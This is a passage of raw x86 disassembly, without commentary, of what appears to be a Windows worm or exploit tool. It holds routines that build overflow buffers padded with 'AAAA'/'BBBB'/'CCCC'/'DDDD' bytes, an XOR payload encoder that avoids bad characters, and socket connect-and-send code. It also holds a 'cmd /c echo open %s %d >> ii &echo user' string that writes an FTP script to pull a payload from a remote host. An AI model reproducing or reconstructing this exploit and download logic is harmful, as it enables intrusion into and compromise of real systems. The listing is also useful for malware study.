sub_424760	proc near		; CODE XREF: sub_4014FBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424760	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424790	proc near		; CODE XREF: sub_4017CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_4247A4
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4247A4:				; CODE XREF: sub_424790+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444B94
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424790	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4014FB
		test	al, al
		jnz	short loc_42481C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_42481C:				; CODE XREF: sub_424800+16j
		mov	ecx, esi
		call	sub_4017CB
		pop	esi
		retn	8
sub_424800	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401BEAj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424C15
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424C15
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_444830
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_444838
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B68
		lea	ecx, [esp+864h+var_830]
		call	sub_4017CB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B68
		push	offset loc_444BB8
		lea	ecx, [esp+868h+var_810]
		call	sub_402036
		lea	ecx, [esp+864h+var_810]
		call	sub_401B68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401834
		lea	ecx, [esp+864h+var_808]
		call	sub_401B68
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EAB
		lea	ecx, [esp+864h+var_808]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402036
		push	4
		push	offset dword_44483C
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B68
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_820]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_848]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_810]
		call	sub_4016B8
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_828]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_840]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_830]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_820]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B68
		push	2
		push	offset dword_444BAC
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_838]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_828]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016B8
		push	offset dword_444BA8
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_443E80
		lea	ecx, [esp+868h+var_850]
		call	sub_402036
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		push	offset dword_444B9C
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_444B98
		lea	ecx, [esp+868h+var_818]
		call	sub_402036
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424C15:				; CODE XREF: sub_424840+1Ej
					; sub_424840+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424D40	proc near		; CODE XREF: sub_401AB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_424DA9
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DA9:				; CODE XREF: sub_424D40+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_436F60
sub_424D40	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424DC0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DC0:				; CODE XREF: ___:00424DB6j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_50FC8C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424E53
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424E53:				; CODE XREF: sub_424E20+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424E20	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E90	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424EC3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E90+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_4448CC
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_444844
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_4448FC
		mov	[ebx+31h], eax
		mov	ecx, dword_444900
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_50E130
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_50E134
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_424F68
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424F68:				; CODE XREF: sub_424E90+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_424FA3
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424E90+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AB4
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424E90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425020	proc near		; CODE XREF: sub_401811j

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= word ptr -410h
var_40E		= word ptr -40Eh
var_40A		= dword	ptr -40Ah
var_406		= dword	ptr -406h
var_402		= word ptr -402h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 41Ch
		mov	ecx, 0FFh
		xor	eax, eax
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+428h+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_444A70
		lea	edi, [esp+428h+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447541
		movsb
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_447541
		call	sub_4017E4
		mov	ecx, [esp+42Ch+arg_0]
		push	eax
		mov	eax, dword_44767F
		push	eax
		push	ecx
		call	sub_401DF7
		add	esp, 4
		lea	edx, [esp+434h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		call	near ptr 77C3FA76h
		nop
		add	eax, 90h
		lea	ecx, [esp+444h+var_418]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		push	164h
		push	offset sub_444908
		push	ecx
		call	sub_401BEA
		mov	eax, [esp+458h+var_414]
		xor	edi, edi
		add	esp, 30h
		cmp	eax, edi
		jnz	short loc_4250C9
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------


loc_4250C9:				; CODE XREF: sub_425020+9Bj
		mov	ebp, dword_50FC2C
		mov	[esp+428h+var_41C], edi


loc_4250D3:				; CODE XREF: sub_425020+158j
		test	edi, edi
		jnz	loc_42517E
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_425161
		mov	eax, [esp+428h+arg_9E]
		xor	edx, edx
		mov	dword ptr [esp+428h+var_40E], edx
		push	eax
		mov	[esp+42Ch+var_40A], edx
		mov	[esp+42Ch+var_410], 2
		mov	[esp+42Ch+var_406], edx
		mov	[esp+42Ch+var_402], dx
		call	ebp	; ntohs
		lea	ecx, [esp+428h+arg_4]
		mov	[esp+428h+var_40E], ax
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		lea	edx, [esp+428h+var_410]
		push	10h
		push	edx
		push	esi
		mov	[esp+28h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425156
		mov	eax, [esp+428h+var_414]
		mov	ecx, [esp+428h+var_418]
		push	eax
		push	ecx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_425156:				; CODE XREF: sub_425020+11Aj
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_42516C


loc_425161:				; CODE XREF: sub_425020+CCj
		push	3E8h
		call	near ptr 29B0000h
		nop


loc_42516C:				; CODE XREF: sub_425020+13Fj
		mov	eax, [esp+428h+var_41C]
		inc	eax
		cmp	eax, 2
		mov	[esp+428h+var_41C], eax
		jl	loc_4250D3


loc_42517E:				; CODE XREF: sub_425020+B5j
		lea	ecx, [esp+428h+var_418]
		call	sub_4016B8
		test	edi, edi
		jz	short loc_4251AE
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_4251AE:				; CODE XREF: sub_425020+169j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 41Ch
		retn
sub_425020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425230	proc near		; CODE XREF: sub_4013C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_425230	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425270	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_425295
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_425270+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444C98
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_444CFC, ecx
		lea	ecx, [eax+1]
		mov	dword_444D1D, ecx
		lea	ecx, [eax+17h]
		mov	dword_444D15, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_444D2B, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D0C
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_444D10
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D11
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_444D15
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_444D19
		mov	[ecx+8], esi
		mov	esi, dword_444D1D
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444D21
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_425270	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253E0	proc near		; CODE XREF: sub_402162j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013C5
		push	eax
		call	sub_4017BC
		add	esp, 0Ch
		retn
sub_4253E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425410:				; CODE XREF: ___:00401735j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402162
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_425433
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: ___:0042542Bj
		cmp	eax, 0FFFFh
		jbe	short loc_425440
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: ___:00425438j
		push	esi
		push	edi
		push	ebx
		call	sub_4013C5
		add	eax, 101h
		push	eax
		call	near ptr 77C2C407h
		nop
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_40178A
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B77
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254B0	proc near		; CODE XREF: sub_4017BCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4254B9
		inc	ecx


loc_4254B9:				; CODE XREF: sub_4254B0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4254B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254E0	proc near		; CODE XREF: sub_401B77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4254F8
		cmp	bl, 0Dh
		jz	short loc_4254F8
		cmp	bl, 5Ch
		jz	short loc_4254F8
		test	bl, bl
		jnz	short loc_4254F9


loc_4254F8:				; CODE XREF: sub_4254E0+8j
					; sub_4254E0+Dj ...
		inc	ebx


loc_4254F9:				; CODE XREF: sub_4254E0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42551C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_425516
		cmp	al, 0Dh
		jz	short loc_425516
		cmp	al, 5Ch
		jz	short loc_425516
		test	al, al
		jnz	short loc_42551C


loc_425516:				; CODE XREF: sub_4254E0+28j
					; sub_4254E0+2Cj ...
		add	ebx, 100h


loc_42551C:				; CODE XREF: sub_4254E0+1Fj
					; sub_4254E0+34j
		push	ebx
		call	sub_4017BC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_425535
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425535:				; CODE XREF: sub_4254E0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_425540
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425540:				; CODE XREF: sub_4254E0+5Aj
		mov	al, byte_50E138
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_425570


loc_425551:				; CODE XREF: sub_4254E0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_425567
		cmp	cl, 0Ah
		jz	short loc_425567
		cmp	cl, 0Dh
		jz	short loc_425567
		cmp	cl, 5Ch
		jnz	short loc_42556B


loc_425567:				; CODE XREF: sub_4254E0+76j
					; sub_4254E0+7Bj ...
		inc	al
		xor	edx, edx


loc_42556B:				; CODE XREF: sub_4254E0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_425551


loc_425570:				; CODE XREF: sub_4254E0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_50E138, al
		ja	short loc_4255A3
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C80
		mov	edi, edx
		mov	byte_444C8D, bl
		mov	byte_444C91, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4255C9
; ---------------------------------------------------------------------------


loc_4255A3:				; CODE XREF: sub_4254E0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C68
		mov	edi, edx
		mov	word_444C76, bx
		mov	byte_444C7B, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4255C9:				; CODE XREF: sub_4254E0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4255DF
		add	esi, edx


loc_4255D2:				; CODE XREF: sub_4254E0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4255D2


loc_4255DF:				; CODE XREF: sub_4254E0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4254E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425640	proc near		; CODE XREF: sub_401E24j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_4491CF[eax*4], ecx
		mov	dword_4491BB[eax*4], ecx
